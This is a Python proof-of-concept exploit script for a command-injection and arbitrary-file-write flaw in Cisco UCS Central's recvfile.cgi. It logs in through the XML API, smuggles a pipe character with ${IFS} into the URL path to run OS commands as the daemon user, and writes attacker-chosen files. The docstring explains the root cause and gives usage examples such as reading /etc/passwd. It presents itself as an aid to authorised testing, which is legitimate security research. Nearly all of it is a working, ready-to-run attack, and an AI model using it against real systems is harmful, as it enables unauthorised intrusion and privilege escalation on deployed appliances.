#!/usr/bin/env python3
"""
poc_recvfile_rce.py
===================
Cisco UCS Central 2.1(2a) - recvfile.cgi OS command injection / arbitrary
file write -> remote code execution.   (CVE-2026-76506)

Fixed in Cisco UCS Central 2.1(2c). Published write-up:
  https://www.zerohuntlabs.com/
  Cisco advisory: cisco-sa-cucs-rce-LzHSFRDQ

Root cause:
  /opt/apache/operations/recvfile.cgi captures the request path into $file
  with NO sanitisation, then uses Perl two-argument open():
      open(INF, "$file");    # leading "|"  => command pipe   (RCE)
      open(OUTF, ">$file");  # ">" + path    => arbitrary file write

Access:
  The /operations/* tree is gated by the mod_nuova "sam-cgi" handler, which
  only checks for a valid session cookie (ucsm-cookie). It performs NO role
  check, so ANY authenticated account -- including read-only -- can reach the
  command-execution sink (privilege escalation to the 'daemon' service user).

Usage (against an appliance you are authorised to test):
  # run a command, print its output
  python3 poc_recvfile_rce.py -t https://ucs-central.lab -u admin -p 'PASS' -c 'id;hostname'

  # write an arbitrary file (path + content fully attacker controlled)
  python3 poc_recvfile_rce.py -t https://ucs-central.lab -u admin -p 'PASS' \
      --write-path /tmp/poc.txt --write-data 'owned'

Notes:
  * Commands are sent inside the URL path. Spaces break the HTTP request line;
    this tool substitutes spaces with ${IFS} automatically so multi-arg
    commands (e.g. "cat /etc/passwd") work transparently.
  * The leading "OK" in responses is emitted by the CGI before the piped
    command output; it is stripped from --cmd results.

For authorised security testing and defensive validation only.
"""
import argparse
import http.client
import re
import ssl
import sys
from urllib.parse import urlparse

# raw transport: http.client sends the request-line path VERBATIM, so the
# injection metacharacters ("|", ";", "${IFS}") reach the server un-encoded.
# (the requests/urllib3 stack percent-encodes "|"->%7C and breaks the exploit.)
_CTX = ssl._create_unverified_context()


def _conn(target):
    u = urlparse(target)
    port = u.port or (443 if u.scheme == "https" else 80)
    if u.scheme == "https":
        return http.client.HTTPSConnection(u.hostname, port, context=_CTX, timeout=20)
    return http.client.HTTPConnection(u.hostname, port, timeout=20)


def _send(target, method, path, headers=None, body=None):
    c = _conn(target)
    c.request(method, path, body=body, headers=headers or {})
    r = c.getresponse()
    data = r.read().decode("utf-8", "replace")
    c.close()
    return r.status, data


def login(target, user, password):
    """Authenticate via the XML API and return the ucsm-cookie session token."""
    _, text = _send(target, "POST", "/xmlIM/",
                    {"Content-Type": "application/xml"},
                    f'<aaaLogin inName="{user}" inPassword="{password}"/>')
    m = re.search(r'outCookie="([^"]+)"', text)
    if not m or not m.group(1):
        err = re.search(r'errorDescr="([^"]*)"', text)
        raise SystemExit(f"[-] login failed: {err.group(1) if err else text[:200]}")
    return m.group(1)


def run_cmd(target, cookie, command):
    """Execute an OS command via the 2-arg open() pipe; return its stdout."""
    payload = "|" + command.replace(" ", "${IFS}")
    path = f"/operations/file-{payload}/recvfile.txt"
    _, body = _send(target, "GET", path, {"Cookie": f"ucsm-cookie={cookie}"})
    return body[2:] if body.startswith("OK") else body


def write_file(target, cookie, path_on_disk, data):
    """Write attacker-controlled content to an attacker-controlled path."""
    path = f"/operations/file-{path_on_disk}/recvfile.txt"
    _, body = _send(target, "POST", path, {"Cookie": f"ucsm-cookie={cookie}"}, data)
    return body


def main():
    ap = argparse.ArgumentParser(description="Cisco UCS Central recvfile.cgi RCE PoC (CVE-2026-76506)")
    ap.add_argument("-t", "--target", required=True, help="https://host")
    ap.add_argument("-u", "--user", required=True)
    ap.add_argument("-p", "--password", required=True)
    ap.add_argument("-c", "--cmd", help="OS command to execute")
    ap.add_argument("--write-path", help="absolute path to write")
    ap.add_argument("--write-data", default="", help="content to write")
    args = ap.parse_args()

    target = args.target.rstrip("/")
    print(f"[*] authenticating to {target} as {args.user}")
    cookie = login(target, args.user, args.password)
    print(f"[+] session: {cookie}")

    if args.cmd:
        print(f"[*] executing: {args.cmd}")
        out = run_cmd(target, cookie, args.cmd)
        print("[+] output:\n" + out)

    if args.write_path:
        print(f"[*] writing {len(args.write_data)} bytes to {args.write_path}")
        resp = write_file(target, cookie, args.write_path, args.write_data)
        print(f"[+] server responded: {resp.strip()!r}")
        verify = run_cmd(target, cookie, f"ls -l {args.write_path}")
        print(f"[+] verify: {verify.strip()}")

    if not args.cmd and not args.write_path:
        print("[!] nothing to do; pass --cmd or --write-path")
        sys.exit(1)


if __name__ == "__main__":
    main()
